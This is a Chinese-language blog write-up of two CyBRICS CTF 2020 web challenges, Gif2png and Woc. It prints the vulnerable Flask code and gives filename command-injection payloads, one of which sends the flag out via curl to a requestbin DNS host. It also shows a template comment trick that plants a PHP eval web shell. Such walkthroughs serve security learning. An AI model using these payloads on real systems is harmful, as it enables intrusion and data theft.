CyBRICS CTF 2020

Gif2png

import logging
import re
import subprocess
import uuid
from pathlib import Path

from flask import Flask, render_template, request, redirect, url_for, flash, send_from_directory
from flask_bootstrap import Bootstrap
import os
from werkzeug.utils import secure_filename
import filetype


ALLOWED_EXTENSIONS = {'gif'}

app = Flask(__name__)
app.config['UPLOAD_FOLDER'] = './uploads'
app.config['SECRET_KEY'] = '********************************'
app.config['MAX_CONTENT_LENGTH'] = 500 * 1024  # 500Kb
ffLaG = "cybrics{********************************}"
Bootstrap(app)
logging.getLogger().setLevel(logging.DEBUG)

def allowed_file(filename):
    return '.' in filename and filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS


@app.route('/', methods=['GET', 'POST'])
def upload_file():
    logging.debug(request.headers)
    if request.method == 'POST':
        if 'file' not in request.files:
            logging.debug('No file part')
            flash('No file part', 'danger')
            return redirect(request.url)

        file = request.files['file']
        if file.filename == '':
            logging.debug('No selected file')
            flash('No selected file', 'danger')
            return redirect(request.url)

        if not allowed_file(file.filename):
            logging.debug(f'Invalid file extension of file: {file.filename}')
            flash('Invalid file extension', 'danger')
            return redirect(request.url)

        if file.content_type != "image/gif":
            logging.debug(f'Invalid Content type: {file.content_type}')
            flash('Content type is not "image/gif"', 'danger')
            return redirect(request.url)

        if not bool(re.match("^[a-zA-Z0-9_\-. '\"\=\$\(\)\|]*$", file.filename)) or ".." in file.filename:
            logging.debug(f'Invalid symbols in filename: {file.content_type}')
            flash('Invalid filename', 'danger')
            return redirect(request.url)

        if file and allowed_file(file.filename):
            filename = secure_filename(file.filename)
            file.save(os.path.join(app.config['UPLOAD_FOLDER'], file.filename))

            mime_type = filetype.guess_mime(f'uploads/{file.filename}')
            if mime_type != "image/gif":
                logging.debug(f'Invalid Mime type: {mime_type}')
                flash('Mime type is not "image/gif"', 'danger')
                return redirect(request.url)

            uid = str(uuid.uuid4())
            os.mkdir(f"uploads/{uid}")

            logging.debug(f"Created: {uid}. Command: ffmpeg -i 'uploads/{file.filename}' \"uploads/{uid}/%03d.png\"")
         
            command = subprocess.Popen(f"ffmpeg -i 'uploads/{file.filename}' \"uploads/{uid}/%03d.png\"", shell=True)
            command.wait(timeout=15)
            logging.debug(command.stdout)

            flash('Successfully saved', 'success')
            return redirect(url_for('result', uid=uid))

    return render_template("form.html")


@app.route('/result/<uid>/')
def result(uid):
    images = []
    for image in os.listdir(f"uploads/{uid}"):
        mime_type = filetype.guess(str(Path("uploads") / uid / image))
        if image.endswith(".png") and mime_type is not None and mime_type.EXTENSION == "png":
            images.append(image)

    return render_template("result.html", uid=uid, images=images)


@app.route('/uploads/<uid>/<image>')
def image(uid, image):
    logging.debug(request.headers)
    print(uid)
    dir = str(Path(app.config['UPLOAD_FOLDER']) / uid)
    return send_from_directory(dir, image)


@app.errorhandler(413)
def request_entity_too_large(error):
    return "File is too large", 413


if __name__ == "__main__":
    app.run(host='localhost', port=5000, debug=False, threaded=True)

功能就是上传一个1.gif,首先保存到uploads/1.gif,然后创建一个uuid文件夹,里面存放转换后的png,并显示出来

emm在ffmpeg上浪费了很多时间,这里的/uploads路由在我本地环境上是能跨单个目录读取的:
在这里插入图片描述
但是靶机上就不行,迷...
在这里插入图片描述
这段转换的代码

command = subprocess.Popen(f"ffmpeg -i 'uploads/{file.filename}' \"uploads/{uid}/%03d.png\"", shell=True)
command.wait(timeout=15)

filename可控(不过有过滤,只能包含:^[a-zA-Z0-9_\-. '\"\=\$\(\)\|]*$),base64绕,闭合单引号,尝试curlvps直接500,尝试dnslog

flag=$(cat main.py|grep 'cybrics'|base64|cut -c 1-30);curl $flag.fdd53f02cd3a14119791.d.requestbin.net
1.gif'||echo ZmxhZz0kKGNhdCBtYWluLnB5fGdyZXAgJ2N5YnJpY3MnfGJhc2U2NHxjdXQgLWMgMS0zMCk7Y3VybCAkZmxhZy5mZGQ1M2YwMmNkM2ExNDExOTc5MS5kLnJlcXVlc3RiaW4ubmV0 |base64 -d|sh||'1.gif

在这里插入图片描述
一部分一部分外带
在这里插入图片描述
还有种解法是直接将main.py复制到uploads/{uuid}/

'$(cp main.py uploads$(pwd | cut -c1)521be2a4-ded4-4bbd-9f0f-7e6eaedf9aa7$(pwd | cut -c1))'.gif

https://github.com/wetox-team/writeup/tree/master/cybrics_2020/gif2png

#base64一下清楚一点
1.gif'||echo Y3AgbWFpbi5weSB1cGxvYWRzLzUyMWJlMmE0LWRlZDQtNGJiZC05ZjBmLTdlNmVhZWRmOWFhNy8xLnB5 |base64 -d|sh||'1.gif

在这里插入图片描述

Woc

有好几个计算器模板
在这里插入图片描述
如果有share便会为我们生成对应的php文件
在这里插入图片描述
在这里插入图片描述
并且可以自己创建html计算器模板
在这里插入图片描述
模板中的过滤就是<?
在这里插入图片描述
还是先看一下模板生成php的这行:

file_put_contents("calcs/$userid/$calc.php", "<script>var preloadValue = <?=json_encode((string)($field))?>;</script>\n" . file_get_contents("inc/calclib.html") . file_get_contents("calcs/$userid/templates/$template.html"));

可见我们写入的模板会被拼接为:

<script>var preloadValue = <?=json_encode((string)($field))?>;</script>

+

file_get_contents("inc/calclib.html")

+

file_get_contents("calcs/$userid/templates/$template.html")

其中第一部分的field是我们想计算的内容,第二部分是一个默认的html,第三部分为模板,又有会将三个拼接成php,那就想办法写个shell

首先由于模板部分过滤了<?,而第一部分中恰好有<?=,可以用/**/来注释中间的部分,所以先新建一个模板:

<input type="text" class="part" id="field" name="field" />
            <input type="button" class="part" id="digit0" data-append="0" />
            <input type="button" class="part" id="digit1" data-append="1" />
            <input type="button" class="part" id="digit2" data-append="2" />
            <input type="button" class="part" id="digit3" data-append="3" />
            <input type="button" class="part" id="digit4" data-append="4" />
            <input type="button" class="part" id="digit5" data-append="5" />
            <input type="button" class="part" id="digit6" data-append="6" />
            <input type="button" class="part" id="digit7" data-append="7" />
            <input type="button" class="part" id="digit8" data-append="8" />
            <input type="button" class="part" id="digit9" data-append="9" />
            <input type="button" class="part" id="plus" data-append=" + " />
            <input type="button" class="part" id="minus" data-append=" - " />
            <input type="button" class="part" id="times" data-append=" * " />
            <input type="button" class="part" id="div" data-append=" / " />
            <input type="button" class="part" id="point" data-append="." />
            <input type="button" class="part" id="clear" />
            <input type="button" class="part" id="back" value="← Back" />
            <input type="submit" class="part" id="share" name="share" value="Share" />
            <input type="submit" class="part" id="equals" />
            */));eval($_GET[0]);?>

后面的括号是用来闭合第一部分的两个括号的,然后令field=1+%2b+1/*
结果就为:

<script>var preloadValue = <?=json_encode((string)(1+1/*))?>;</script>
 ...
 ...
<input type="submit" class="part" id="equals" />
\*/));eval($_GET[0]);?>

然后生成php

POST /?p=calc&template=80c47c3d-4fef-4805-e00b-60aff4674d07

field=1+%2b+1\*&share=1

在这里插入图片描述

posted @ 2020-08-17 21:12  W4nder  阅读(297)  评论(0编辑  收藏  举报